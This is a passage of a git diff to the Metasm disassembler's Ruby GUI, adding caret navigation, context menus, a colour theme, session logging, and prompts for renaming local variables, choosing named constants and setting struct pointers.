dota.scan(/^.*$/) { |l| + a = l.strip.chomp(';').split(/->/).map { |s| s.strip.delete '"' } + next if not id = a.shift + b0 = boxes[id] ||= new_box[id] + while id = a.shift + b1 = boxes[id] ||= new_box[id] + b0.to |= [b1] + b1.from |= [b0] + b0 = b1 end } -p boxes.length redraw -rescue Interrupt -p boxes.length + rescue Interrupt + puts "dot_len #{boxes.length}" end # create the graph objects in ctx @@ -1009,7 +1283,7 @@ p boxes.length } end render["#{Expression[curaddr]} ", :address] if @show_addresses - render[di.instruction.to_s.ljust(di.comment ? 24 : 0), :instruction] + render[di.instruction.to_s.ljust(di.comment ? 18 : 0), :instruction] render[' ; ' + di.comment.join(' ')[0, 64], :comment] if di.comment nl[] else @@ -1042,6 +1316,8 @@ p boxes.length } @parent_widget.list_bghilight("search result for /#{pat}/i", list) { |i| @parent_widget.focus_addr i[0] } } + when ?+; mouse_wheel_ctrl(:up, width/2, height/2) + when ?-; mouse_wheel_ctrl(:down, width/2, height/2) else return false end true @@ -1135,16 +1411,18 @@ p boxes.length end when :pgup if @caret_box - @caret_y = 0 - update_caret + @caret_y -= (height/4/@zoom/@font_height).to_i + @caret_y = 0 if @caret_y < 0 + update_caret(false) else @curcontext.view_y -= height/4/@zoom redraw end when :pgdown if @caret_box - @caret_y = @caret_box[:line_address].length-1 - update_caret + @caret_y += (height/4/@zoom/@font_height).to_i + @caret_y = [@caret_box[:line_address].length-1, @caret_y].min + update_caret(false) else @curcontext.view_y += height/4/@zoom redraw @@ -1152,7 +1430,7 @@ p boxes.length when :home if @caret_box @caret_x = 0 - update_caret + update_caret(false) else @curcontext.view_x = @curcontext.box.map { |b_| b_.x }.min-10 @curcontext.view_y = @curcontext.box.map { |b_| b_.y }.min-10 @@ -1161,7 +1439,7 @@ p boxes.length when :end if @caret_box @caret_x = @caret_box[:line_text_col][@caret_y].to_a.map { |ss, cc| ss }.join.length - update_caret + update_caret(false) else @curcontext.view_x = [@curcontext.box.map { |b_| b_.x+b_.w }.max-width/@zoom+10, @curcontext.box.map { |b_| b_.x }.min-10].max @curcontext.view_y = [@curcontext.box.map { |b_| b_.y+b_.h }.max-height/@zoom+10, @curcontext.box.map { |b_| b_.y }.min-10].max @@ -1175,38 +1453,24 @@ p boxes.length b_.to.each { |bb| bb.from.delete b_ } } redraw + when :popupmenu + if @caret_box + cx = (@caret_box.x - view_x + 1 + @caret_x*@font_width)*@zoom + cy = (@caret_box.y - view_y + 1 + @caret_y*@font_height)*@zoom + rightclick(cx, cy) + end when ?a + t0 = Time.now puts 'autoarrange' @curcontext.auto_arrange_boxes redraw - puts 'autoarrange done' + puts 'autoarrange done %.02f' % (Time.now - t0) when ?u gui_update when ?R load __FILE__ - when ?S # reset - @curcontext.auto_arrange_init(@selected_boxes.empty? ? @curcontext.box : @selected_boxes) - puts 'reset', @curcontext.dump_layout, '' - zoom_all - redraw - when ?T # step auto_arrange - @curcontext.auto_arrange_step - puts @curcontext.dump_layout, '' - zoom_all - redraw - when ?L # post auto_arrange - @curcontext.auto_arrange_post - zoom_all - redraw - when ?V # shrink - @selected_boxes.each { |b_| - dx = (b_.from + b_.to).map { |bb| bb.x+bb.w/2 - b_.x-b_.w/2 } - dx = dx.inject(0) { |s, xx| s+xx }/dx.length - b_.x += dx - } - redraw when ?I # create arbitrary boxes/links if @selected_boxes.empty? @fakebox ||= 0 @@ -1217,7 +1481,7 @@ p boxes.length b.h = @font_height * 2 b.x = rand(200) - 100 b.y = rand(200) - 100 - + @fakebox += 1 else b1, *bl = @selected_boxes @@ -1229,8 +1493,8 @@ p boxes.length else b1.to << b2 b2.from << b1 - end - } + end + } end redraw @@ -1256,6 +1520,48 @@ p boxes.length true end + def hide_non_descendants(list) + reach = {} + todo = list.dup + while b = todo.pop + next if reach[b] + reach[b] = true + b.to.each { |bb| + todo << bb if bb.y+bb.h >= b.y + } + end + + @curcontext.box.delete_if { |bb| + !reach[bb] + } + @curcontext.box.each { |bb| + bb.from.delete_if { |bbb| !reach[bbb] } + bb.to.delete_if { |bbb| !reach[bbb] } + } + redraw + end + + def hide_non_ascendants(list) + reach = {} + todo = list.dup + while b = todo.pop + next if reach[b] + reach[b] = true + b.from.each { |bb| + todo << bb if bb.y <= b.h+b.y + } + end + + @curcontext.box.delete_if { |bb| + !reach[bb] + } + @curcontext.box.each { |bb| + bb.from.delete_if { |bbb| !reach[bbb] } + bb.to.delete_if { |bbb| !reach[bbb] } + } + redraw + end + # find a suitable array of graph roots, walking up from a block (function start/entrypoint) def dasm_find_roots(addr) todo = [addr] @@ -1312,7 +1618,6 @@ p boxes.length @curcontext.view_y += (height/2 / @zoom - height/2) @zoom = 1.0 - focus_xy(b.x, b.y + @caret_y*@font_height) update_caret elsif can_update_context @curcontext = Graph.new 'testic' @@ -1326,23 +1631,59 @@ p boxes.length end def focus_xy(x, y) - if not @curcontext.view_x or @curcontext.view_x*@zoom + width*3/4 < x or @curcontext.view_x*@zoom > x - @curcontext.view_x = (x - width/5)/@zoom + # dont move during a click + return if @mousemove_origin + + # ensure the caret stays onscreen + if not view_x + @curcontext.view_x = x - width/5/@zoom + redraw + elsif @caret_box and @caret_box.w < width*27/30/@zoom + # keep @caret_box full if possible + if view_x + width/20/@zoom > @caret_box.x + @curcontext.view_x = @caret_box.x-width/20/@zoom + elsif view_x + width*9/10/@zoom < @caret_box.x+@caret_box.w + @curcontext.view_x = @caret_box.x+@caret_box.w-width*9/10/@zoom + end + elsif view_x + width/20/@zoom > x + @curcontext.view_x = x-width/20/@zoom + redraw + elsif view_x + width*9/10/@zoom < x + @curcontext.view_x = x-width*9/10/@zoom redraw end - if not @curcontext.view_y or @curcontext.view_y*@zoom + height*3/4 < y or @curcontext.view_y*@zoom > y - @curcontext.view_y = (y - height/5)/@zoom + + if not view_y + @curcontext.view_y = y - height/5/@zoom + redraw + elsif @caret_box and @caret_box.h < height*27/30/@zoom + if view_y + height/20/@zoom > @caret_box.y + @curcontext.view_y = @caret_box.y-height/20/@zoom + elsif view_y + height*9/10/@zoom < @caret_box.y+@caret_box.h + @curcontext.view_y = @caret_box.y+@caret_box.h-height*9/10/@zoom + end + elsif view_y + height/20/@zoom > y + @curcontext.view_y = y-height/20/@zoom + redraw + elsif view_y + height*9/10/@zoom < y + @curcontext.view_y = y-height*9/10/@zoom redraw end end # hint that the caret moved # redraw, change the hilighted word - def update_caret - return if not @caret_box or not @caret_x or not l = @caret_box[:line_text_col][@caret_y] - l = l.map { |s, c| s }.join - @parent_widget.focus_changed_callback[] if @parent_widget and @parent_widget.focus_changed_callback and @oldcaret_y != @caret_y - update_hl_word(l, @caret_x) + def update_caret(update_hlword = true) + return if not b = @caret_box or not @caret_x or not l = @caret_box[:line_text_col][@caret_y] + + if update_hlword + l = l.map { |s, c| s }.join + @parent_widget.focus_changed_callback[] if @parent_widget and @parent_widget.focus_changed_callback and @oldcaret_y != @caret_y + update_hl_word(l, @caret_x) + end + + focus_xy(b.x + @caret_x*@font_width, b.y + @caret_y*@font_height) + redraw end diff --git a/lib/metasm/metasm/gui/dasm_hex.rb b/lib/metasm/metasm/gui/dasm_hex.rb index 3005edcf04..32422f84e2 100644 --- a/lib/metasm/metasm/gui/dasm_hex.rb +++ b/lib/metasm/metasm/gui/dasm_hex.rb @@ -42,12 +42,11 @@ class HexWidget < DrawableWidget @relative_addr = nil # show '+42h' in the addr column if not nil @hl_curbyte = true # draw grey bg for current byte - @default_color_association = { :ascii => :black, :data => :black, - :address => :blue, :caret => :black, :background => :white, - :write_pending => :darkred, :caret_mirror => :palegrey } + @default_color_association = ColorTheme.merge :ascii => :black, :data => :black, + :write_pending => :darkred, :caret_mirror => :palegrey end - def resized(w, h) + def resized(w=width, h=height) wc = w/@font_width hc = h/@font_height ca = current_address @@ -103,6 +102,7 @@ class HexWidget < DrawableWidget end else @data_size = {1 => 2, 2 => 4, 4 => 8, 8 => 1}[@data_size] + resized end redraw end @@ -231,7 +231,7 @@ class HexWidget < DrawableWidget end if @show_ascii and d x = xa + d_o*@font_width - d = d.gsub(/[^\x20-\x7e]/n, '.') + d = d.gsub(/[^\x20-\x7e]/, '.') if wp.empty? render[d, :ascii] else @@ -392,11 +392,15 @@ class HexWidget < DrawableWidget # pop a dialog, scans the sections for a hex pattern def prompt_search_hex - inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat| - pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" } + text = '' + if current_address.kind_of?(::Integer) + text = Expression.encode_imm(current_address, "u#{@dasm.cpu.size}".to_sym, @dasm.cpu).unpack('H*').first + end + inputbox('hex pattern to search (hex regexp, use .. for wildcard)', :text => text) { |pat| + pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" } pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] } - listwindow("hex search #{pat}", list) { |i| focus_addr i[0] } + listwindow("hex search #{pat}", list) { |i| @parent_widget.focus_addr i[0] } } end @@ -404,7 +408,7 @@ class HexWidget < DrawableWidget def prompt_search_ascii inputbox('data pattern to search (regexp)') { |pat| list = [['addr']] + @dasm.pattern_scan(/#{pat}/).map { |a| [Expression[a]] } - listwindow("data search #{pat}", list) { |i| focus_addr i[0] } + listwindow("data search #{pat}", list) { |i| @parent_widget.focus_addr i[0] } } end @@ -483,7 +487,7 @@ class HexWidget < DrawableWidget } @write_pending.clear rescue - @parent_widget.messagebox($!, $!.class.to_s) + @parent_widget.messagebox($!.message.to_s, $!.class.to_s) end def get_cursor_pos diff --git a/lib/metasm/metasm/gui/dasm_listing.rb b/lib/metasm/metasm/gui/dasm_listing.rb index 6378f48374..8a67ab22de 100644 --- a/lib/metasm/metasm/gui/dasm_listing.rb +++ b/lib/metasm/metasm/gui/dasm_listing.rb @@ -28,10 +28,8 @@ class AsmListingWidget < DrawableWidget @maxaddr = (addrs.max + @dasm.sections[addrs.max].length rescue (1 << @dasm.cpu.size)) @startaddr = @dasm.prog_binding['entrypoint'] || @minaddr - @default_color_association = { :comment => :darkblue, :label => :darkgreen, :text => :black, - :instruction => :black, :address => :blue, :caret => :black, :raw_data => :black, - :background => :white, :cursorline_bg => :paleyellow, :hl_word => :palered, - :arrows_bg => :palegrey, :arrow_up => :darkblue, :arrow_dn => :darkyellow, :arrow_hl => :red } + @default_color_association = ColorTheme.merge :raw_data => :black, :arrows_bg => :palegrey, + :arrow_up => :darkblue, :arrow_dn => :darkyellow, :arrow_hl => :red end def resized(w, h) @@ -55,11 +53,26 @@ class AsmListingWidget < DrawableWidget def click(x, y) set_caret_from_click(x - @arrow_zone_w, y) + @caret_x = 0 if @caret_x < 0 end def rightclick(x, y) click(x, y) - @parent_widget.clone_window(@hl_word, :listing) + cx = (x - @arrow_zone_w) / @font_width + cy = y / @font_height + if cx > 0 + m = new_menu + cm = new_menu + addsubmenu(cm, 'copy _word') { clipboard_copy(@hl_word) if @hl_word } + addsubmenu(cm, 'copy _line') { clipboard_copy(@line_text[cy]) if @line_text[cy] } + addsubmenu(cm, 'copy _all') { clipboard_copy(@line_text.join("\r\n")) } # XXX auto \r\n vs \n + addsubmenu(m, '_clipboard', cm) + addsubmenu(m, 'clone _window') { @parent_widget.clone_window(@hl_word, :listing) } + if @parent_widget.respond_to?(:extend_contextmenu) + @parent_widget.extend_contextmenu(self, m, @line_address[@caret_y]) + end + popupmenu(m, x, y) + end end def doubleclick(x, y) @@ -118,19 +131,7 @@ class AsmListingWidget < DrawableWidget render = lambda { |str, color| # function ends when we write under the bottom of the listing next if not str or y >= w_h or x >= w_w - if @hl_word and @hl_word != '' - stmp = str - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length * @font_width - hl_x = s2.length * @font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_x, @font_height) - pre_x += hl_x - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(color, x, y, str) + draw_string_hl(color, x, y, str) x += str.length * @font_width } @@ -275,6 +276,12 @@ class AsmListingWidget < DrawableWidget def keypress(key) case key + when ?u # undef data formatting with ?d + addr = current_address + if not @dasm.decoded[addr] and @dasm.xrefs[addr].kind_of?(Xref) + @dasm.xrefs.delete addr + gui_update + end when :left if @caret_x >= 1 @caret_x -= 1 @@ -315,6 +322,8 @@ class AsmListingWidget < DrawableWidget when :end @caret_x = @line_text[@caret_y].to_s.length update_caret + when :popupmenu + rightclick(@caret_x*@font_width + @arrow_zone_w+1, @caret_y*@font_height) else return false end true @@ -422,16 +431,18 @@ class AsmListingWidget < DrawableWidget # ary di.block.each_from_samefunc(@dasm) { |addr| addr = @dasm.normalize addr - next if not addr.kind_of? ::Integer or (ndi = @dasm.di_at(addr) and ndi.next_addr == curaddr) + # block.list.last for delayslot + next if ndi = @dasm.di_at(addr) and ndi.block.list.last.next_addr == curaddr arrows_addr << [addr, curaddr] } end if di.block.list.last == di + # kikoo delayslot + rdi = di.block.list[-[4, di.block.list.length].min, 4].reverse.find { |_di| _di.opcode.props[:setip] } || di di.block.each_to_samefunc(@dasm) { |addr| addr = @dasm.normalize addr - next if not addr.kind_of? ::Integer or (di.next_addr == addr and - (not di.opcode.props[:saveip] or di.block.to_subfuncret)) - arrows_addr << [curaddr, addr] + next if di.next_addr == addr and (not rdi.opcode.props[:saveip] or rdi.block.to_subfuncret) + arrows_addr << [rdi.address, addr] } end str_c << ["#{Expression[di.address]} ", :address] @@ -485,11 +496,11 @@ class AsmListingWidget < DrawableWidget xlen ||= xref.len || 1 if xref.len comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin]}" if xref.origin } if @dasm.xrefs[curaddr] - len = xlen if xlen and xlen > 2 # db xref may point a string + len = xlen if xlen and xlen >= 2 # db xref may point a string comment = nil if comment.empty? len = (1..len).find { |l| @dasm.xrefs[curaddr+l] or s.inv_export[s.ptr+l] or s.reloc[s.ptr+l] } || len str = str[0, len] if len < str.length - str = str.pack('C*').unpack(@dasm.cpu.endianness == :big ? 'n*' : 'v*') if len == 2 + str = str.pack('C*').unpack(@dasm.cpu.endianness == :big ? 'n*' : 'v*') if xlen == 2 if (xlen == 1 or xlen == 2) and asc = str.inject('') { |asc_, c| case c when 0x20..0x7e, 9, 10, 13; asc_ << c @@ -534,7 +545,7 @@ class AsmListingWidget < DrawableWidget comment = [] @dasm.each_xref(curaddr) { |xref| len = xref.len if xref.len - comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin]} " + comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin] if xref.origin} " } len = 1 if (len != 2 and len != 4 and len != 8) or len < 1 dat = "#{%w[x db dw x dd x x x dq][len]} ? " @@ -578,9 +589,13 @@ class AsmListingWidget < DrawableWidget prev_arrows = @arrows addr_line = {} # addr => last line (di) @line_address.each_with_index { |a, l| addr_line[a] = l } - @arrows = arrows_addr.uniq.sort.map { |from, to| - [(addr_line[from] || (from < curaddr ? :up : :down) rescue :up), - (addr_line[ to ] || ( to < curaddr ? :up : :down) rescue :up)] + @arrows = arrows_addr.uniq.find_all { |from, to| + ((from-curaddr)+(to-curaddr)).kind_of?(::Integer) rescue nil + }.sort_by { |from, to| + [from-curaddr, to-curaddr] + }.map { |from, to| + [(addr_line[from] || (from-curaddr < 0 ? :up : :down)), + (addr_line[ to ] || (to - curaddr < 0 ? :up : :down))] } invalidate(0, 0, @arrow_zone_w, 100000) if prev_arrows != @arrows end diff --git a/lib/metasm/metasm/gui/dasm_main.rb b/lib/metasm/metasm/gui/dasm_main.rb index 8b1e298d72..0c6e504be9 100644 --- a/lib/metasm/metasm/gui/dasm_main.rb +++ b/lib/metasm/metasm/gui/dasm_main.rb @@ -15,6 +15,16 @@ require 'metasm/gui/cstruct' module Metasm module Gui +class DrawableWidget + ColorTheme = { :comment => :darkblue, :label => :darkgreen, :text => :black, + :instruction => :black, :address => :blue, :caret => :black, :background => :white, + :cursorline_bg => :paleyellow, :hl_word_bg => :palered, :hl_word => :black, + :red_bg => 'f88', :green_bg => '8f8', :blue_bg => '88f', + :cyan_bg => '8ff', :magenta_bg => 'f8f', :yellow_bg => 'ff8', + :orange_bg => 'fc8' + } +end + # the main disassembler widget: this is a container for all the lower-level widgets that actually render the dasm state class DisasmWidget < ContainerChoiceWidget attr_accessor :entrypoints, :gui_update_counter_max @@ -64,6 +74,7 @@ class DisasmWidget < ContainerChoiceWidget # start an idle callback that will run one round of @dasm.disassemble_mainiter def start_disassemble_bg + return if @dasm.addrs_todo.empty? and @entrypoints.all? { |ep| @dasm.decoded[ep] } gui_update_counter = 0 run = false Gui.idle_add { @@ -84,6 +95,10 @@ class DisasmWidget < ContainerChoiceWidget } end + def wait_disassemble_bg + Gui.main_iter until @entrypoints.empty? and @dasm.addrs_todo.empty? + end + def terminate @clones.delete self end @@ -107,6 +122,17 @@ class DisasmWidget < ContainerChoiceWidget @dasm.prog_binding[hl] || curview.current_address end + # returns the ExpressionString if the currently hilighted word is a :stackvar + def pointed_localvar(obj=curobj, hl=curview.hl_word) + return if not obj.kind_of?(Renderable) + localvar = nil + obj.each_expr { |e| + next unless e.kind_of?(ExpressionString) + localvar = e if e.type == :stackvar and e.str == hl + } + localvar + end + # parse an address and change it to a canonical address form # supported formats: label names, or string with numerical value, incl hex (0x42 and 42h) # if the string is full decimal, a check against mapped space is done to find if it is @@ -138,17 +164,17 @@ class DisasmWidget < ContainerChoiceWidget end # display the specified address - # the display first searches in the current view (graph, listing, etc), - # if it cannot display the address all other views are tried in order + # the display first searches in the current view + # if it cannot display the address, the listing, graph and decompile views are tried (in that order) # the current focus address is saved in @pos_history (see focus_addr_back/redo) - # a messagebox is popped if no view can display the address unless quiet is true + # if quiet is false, a messagebox is popped if no view can display the address def focus_addr(addr, viewidx=nil, quiet=false, *a) viewidx ||= curview_index || :listing return if not addr - return if viewidx == curview_index and addr == curaddr + return if viewidx == curview_index and addr == curaddr and a.empty? oldpos = [curview_index, (curview.get_cursor_pos if curview)] views = [viewidx, oldpos[0]] - views += [:listing, :graph] & view_indexes + views += [:listing, :graph, :decompile] & view_indexes if views.compact.uniq.find { |i| o_p = view(i).get_cursor_pos if (view(i).focus_addr(addr, *a) rescue nil) @@ -157,11 +183,13 @@ class DisasmWidget < ContainerChoiceWidget true else view(i).set_cursor_pos o_p + a.clear false end } @pos_history << oldpos if oldpos[0] # ignore start focus_addr @pos_history_redo.clear + session_append "@session_focus_addr = #{addr.inspect} ; @pos_history = #{@pos_history.inspect}" true else messagebox "Invalid address #{addr}" if not quiet @@ -198,7 +226,7 @@ class DisasmWidget < ContainerChoiceWidget # ask the current view to update itself def do_gui_update - curview.gui_update # invalidate all views ? + curview.gui_update if curview # invalidate all views ? end # redraw the window @@ -212,7 +240,7 @@ class DisasmWidget < ContainerChoiceWidget yield focus_addr curaddr if addr end - + # calls listwindow with the same argument, but also creates a new bg_color_callback # that will color lines whose address is to be found in list[0] in green # the callback is put only for the duration of the listwindow, and is not reentrant. @@ -234,18 +262,24 @@ class DisasmWidget < ContainerChoiceWidget inputbox("new comment for #{Expression[addr]}", :text => cmt) { |c| c = c.split("\n") c = nil if c == [] - if di = @dasm.di_at(addr) - di.comment = c - else - @dasm.comment[addr] = c - end + do_add_comment(addr, c) + session_append "do_add_comment(#{addr.inspect}, #{c.inspect})" gui_update } end + def do_add_comment(addr, c) + if di = @dasm.di_at(addr) + di.comment = c + else + @dasm.comment[addr] = c + end + end + # disassemble from this point # if points to a call, make it return def disassemble(addr) + session_append "disassemble(#{addr.inspect}) ; wait_disassemble_bg" if di = @dasm.di_at(addr) and di.opcode.props[:saveip] di.block.each_to_normal { |t| t = @dasm.normalize t @@ -263,17 +297,20 @@ class DisasmWidget < ContainerChoiceWidget # disassemble fast from this point (don't dasm subfunctions, don't backtrace) def disassemble_fast(addr) @dasm.disassemble_fast(addr) + session_append "dasm.disassemble_fast(#{addr.inspect})" gui_update end # disassemble fast & deep from this point (don't backtrace, but still dasm subfuncs) def disassemble_fast_deep(addr) @dasm.disassemble_fast_deep(addr) + session_append "dasm.disassemble_fast_deep(#{addr.inspect})" gui_update end # (re)decompile def decompile(addr) + session_append "decompile(#{addr.inspect})" if @dasm.c_parser and var = @dasm.c_parser.toplevel.symbol[addr] and (var.type.kind_of? C::Function or @dasm.di_at(addr)) @dasm.decompiler.redecompile(addr) view(:decompile).curaddr = nil @@ -284,6 +321,7 @@ class DisasmWidget < ContainerChoiceWidget # change the format of displayed data under addr (byte, word, dword, qword) # currently this is done using a fake empty xref def toggle_data(addr) + session_append "toggle_data(#{addr.inspect})" return if @dasm.decoded[addr] or not @dasm.get_section_at(addr) @dasm.add_xref(addr, Xref.new(nil, nil, 1)) if not @dasm.xrefs[addr] @dasm.each_xref(addr) { |x| @@ -328,15 +366,31 @@ class DisasmWidget < ContainerChoiceWidget listwindow("list of strings", list) { |i| focus_addr i[0] } end - def list_xrefs(addr) + def list_xrefs(addr=nil) list = [['address', 'type', 'instr']] - @dasm.each_xref(addr) { |xr| - next if not xr.origin - list << [Expression[xr.origin], "#{xr.type}#{xr.len}"] - if di = @dasm.di_at(xr.origin) - list.last << di.instruction + if not addr and pointed_localvar + addr = curview.hl_word + faddr = @dasm.find_function_start(curaddr) + func = @dasm.function[faddr] + if func and func.localvars_xrefs + stoff = func.localvars.index(addr) + func.localvars_xrefs[stoff].to_a.each { |a| + list << [Expression[a], '?'] + if di = @dasm.di_at(a) + list.last << di.instruction + end + } end - } + else + addr ||= pointed_addr + @dasm.each_xref(addr) { |xr| + next if not xr.origin + list << [Expression[xr.origin], "#{xr.type}#{xr.len}"] + if di = @dasm.di_at(xr.origin) + list.last << di.instruction + end + } + end if list.length == 1 messagebox "no xref to #{Expression[addr]}" if addr else @@ -351,8 +405,7 @@ class DisasmWidget < ContainerChoiceWidget } end - def prompt_backtrace - addr = curaddr + def prompt_backtrace(addr=curaddr) inputbox('expression to backtrace', :text => curview.hl_word) { |e| expr = IndExpression.parse_string(e) bd = {} @@ -388,7 +441,106 @@ class DisasmWidget < ContainerChoiceWidget list_bghilight("backtrace #{expr} from #{Expression[addr]}", list) { |i| a = i[0].empty? ? i[2] : i[0] focus_addr(a, nil, true) - } + } + } + end + + # prompt the contant to use in place of some numeric value + def prompt_constant(di=curobj) + return if not di.kind_of?(DecodedInstruction) + di.each_expr { |e| + next unless e.kind_of?(Expression) + if (e.lexpr.kind_of?(Integer) or e.lexpr.kind_of?(ExpressionString)) and + (!curview.hl_word or curview.hl_word == Expression[e.lexpr].to_s) + v = Expression[e.lexpr].reduce + lst = [] + dasm.c_constants.each { |cn, cv, fm| lst << [cn, fm] if v == cv } + if not lst.empty? + default = Expression[v].to_s + lst << [default] + listwindow("constant for #{Expression[v]}", [['name', 'enum']] + lst) { |a| + if a[0] == default + e.lexpr = v + else + e.lexpr = ExpressionString.new(v, a[0], :constant) + end + session_append "if di = dasm.di_at(#{di.address.inspect}) ; di.each_expr { |e| e.lexpr = #{e.lexpr.inspect} if e.kind_of?(Expression) and e.lexpr and Expression[e.lexpr].reduce == #{v.inspect} } ; end" + gui_update + } + end + end + if (e.rexpr.kind_of? Integer or e.rexpr.kind_of?(ExpressionString)) and + (!curview.hl_word or curview.hl_word == Expression[e.rexpr].to_s) + v = Expression[e.rexpr].reduce + lst = [] + dasm.c_constants.each { |cn, cv, fm| lst << [cn, fm] if v == cv } + if not lst.empty? + default = Expression[v].to_s + lst << [default] + listwindow("constant for #{Expression[v]}", [['name', 'enum']] + lst) { |a| + if a[0] == default + e.rexpr = v + else + e.rexpr = ExpressionString.new(v, a[0], :constant) + end + session_append "if di = dasm.di_at(#{di.address.inspect}) ; di.each_expr { |e| e.rexpr = #{e.rexpr.inspect} if e.kind_of?(Expression) and e.rexpr and Expression[e.rexpr].reduce == #{v.inspect} } ; end" + gui_update + } + end + end + } + end + + # prompts for a structure name, autocompletes to known structures, and/or display a listwindow with + # possible completions, yields the target structure name + def prompt_c_struct(prompt, opts={}) + inputbox(prompt, opts) { |st_name| + stars = '' + if opts[:allow_stars] + stars = st_name[/\**$/] + st_name[stars] = '' + end + + # TODO propose typedef struct {} moo; too + sh = @dasm.c_parser.toplevel.struct + if sh[st_name].kind_of?(C::Union) + stn_list = [st_name] + else + stn_list = sh.keys.grep(String).find_all { |k| sh[k].kind_of?(C::Union) } + end + + if name = stn_list.find { |n| n == st_name } || stn_list.find { |n| n.downcase == st_name.downcase } + # single match + yield(name+stars) + else + # try autocomplete + list = [['name']] + list += stn_list.sort.grep(/#{st_name}/i).map { |stn| [stn+stars] } + if list.length == 2 + # single autocompletion + yield(list[1][0]) + else + listwindow(prompt, list) { |ans| + yield(ans[0]) + } + end + end + } + end + + # prompt the struct to use for offset in a given instr + def prompt_struct_ptr(reg=curview.hl_word, addr=curaddr) + return if not reg or not @dasm.cpu.register_symbols.find { |rs| rs.to_s == reg.to_s } + reg = reg.to_sym + + di = @dasm.di_at(addr) + return if not di.kind_of?(DecodedInstruction) + + prompt_c_struct("struct pointed by #{reg}", :allow_stars => true) { |st| + # TODO store that info for the decompiler ? + @dasm.trace_update_reg_structptr(addr, reg, st) + session_append "dasm.trace_update_reg_structptr(#{addr.inspect}, #{reg.inspect}, #{st.inspect})" + gui_update } end @@ -397,7 +549,7 @@ class DisasmWidget < ContainerChoiceWidget def focus_addr_autocomplete(v, show_alt=true) if not focus_addr(v, nil, true) labels = @dasm.prog_binding.map { |k, vv| - [k, Expression[@dasm.normalize(vv)]] if k.downcase.include? v.downcase + [k, Expression[@dasm.normalize(vv)]] if k.downcase.include? v.downcase }.compact case labels.length when 0; focus_addr(v) @@ -422,7 +574,10 @@ class DisasmWidget < ContainerChoiceWidget # run arbitrary ruby def prompt_run_ruby - inputbox('ruby code to eval()') { |c| messagebox eval(c).inspect[0, 512], 'eval' } + inputbox('ruby code to eval()') { |c| + messagebox eval(c).inspect[0, 512], 'eval' + session_append "#eval #{c.inspect}" + } end # run ruby plugin @@ -454,25 +609,41 @@ class DisasmWidget < ContainerChoiceWidget end end - # prompts for a new name for addr - def rename_label(addr) - old = addr - if @dasm.prog_binding[old] or old = @dasm.get_label_at(addr) + # prompts for a new name for what is under the cursor (or the current address) + def rename(what=nil) + if not what and localvar = pointed_localvar + addr = curaddr + str = localvar.str.dup + inputbox("new name for #{localvar}", :text => localvar.to_s) { |v| + if v =~ /^[a-z_][a-z0-9_]*$/i + localvar.str.replace v + session_append "pointed_localvar(dasm.decoded[#{addr.inspect}], #{str.inspect}).str.replace(#{v.inspect})" + gui_update + else messagebox("invalid local var name #{v.inspect}") + end + } + return + end + + what ||= pointed_addr + if @dasm.prog_binding[what] or old = @dasm.get_label_at(what) + old ||= what inputbox("new name for #{old}", :text => old) { |v| if v == '' - @dasm.del_label_at(addr) + @dasm.del_label_at(what) + session_append "dasm.del_label_at(#{what.inspect})" else @dasm.rename_label(old, v) + session_append "dasm.rename_label(#{old.inspect}, #{v.inspect})" end gui_update } else - inputbox("label name for #{Expression[addr]}", :text => Expression[addr]) { |v| + inputbox("label name for #{Expression[what]}", :text => Expression[what]) { |v| next if v == '' - @dasm.set_label_at(addr, v) - if di = @dasm.di_at(addr) - @dasm.split_block(di.block, di.address) - end + @dasm.set_label_at(what, v) + @dasm.split_block(what) + session_append "dasm.set_label_at(#{what.inspect}, #{v.inspect}) ; dasm.split_block(#{what.inspect})" gui_update } end @@ -504,12 +675,34 @@ class DisasmWidget < ContainerChoiceWidget # toggles <41h> vs <'A'> display def toggle_expr_char(o) @dasm.toggle_expr_char(o) + session_append "dasm.toggle_expr_char(dasm.decoded[#{curaddr.inspect}])" + gui_update + end + + # toggle <10h> vs <16> display + def toggle_expr_dec(o) + @dasm.toggle_expr_dec(o) + session_append "dasm.toggle_expr_dec(dasm.decoded[#{curaddr.inspect}])" gui_update end # toggle <401000h> vs <'sub_fancyname'> in the current instr display def toggle_expr_offset(o) @dasm.toggle_expr_offset(o) + session_append "dasm.toggle_expr_offset(dasm.decoded[#{curaddr.inspect}])" + gui_update + end + + # toggle constant/localvar names with raw value + def toggle_expr_str(o) + @dasm.toggle_expr_str(o) + session_append "dasm.toggle_expr_str(dasm.decoded[#{curaddr.inspect}])" + gui_update + end + + def name_local_vars(a) + @dasm.name_local_vars(a) + session_append "dasm.name_local_vars(#{a.inspect})" gui_update end @@ -524,6 +717,7 @@ class DisasmWidget < ContainerChoiceWidget list = [] @dasm.each_function_block(addr, incl_subfuncs) { |b| list << b } list.each { |b| @dasm.undefine_from(b) } + session_append "undefine_function(#{addr.inspect}, #{incl_subfuncs.inspect})" gui_update end @@ -549,28 +743,33 @@ class DisasmWidget < ContainerChoiceWidget when ?/; inputbox('search word') { |w| next unless curview.respond_to? :hl_word next if w == '' - curview.hl_word = w + curview.hl_word = w + curview.hl_word_re = /(.*)(#{w})/ curview.redraw } - when ?b; prompt_backtrace - when ?c; disassemble(curview.current_address) - when ?C; disassemble_fast(curview.current_address) - when ?d; toggle_data(curview.current_address) + when ?b; prompt_backtrace(curaddr) + when ?c; disassemble(curaddr) + when ?C; disassemble_fast(curaddr) + when ?d; curobj.kind_of?(DecodedInstruction) ? toggle_expr_dec(curobj) : toggle_data(curaddr) when ?f; list_functions when ?g; prompt_goto + when ?k; toggle_expr_str(curobj) + when ?K; name_local_vars(curaddr) when ?l; list_labels - when ?n; rename_label(pointed_addr) + when ?m; prompt_constant(curobj) + when ?n; rename when ?o; toggle_expr_offset(curobj) when ?p; playpause_dasm when ?r; toggle_expr_char(curobj) + when ?t; prompt_struct_ptr when ?v; $VERBOSE = ! 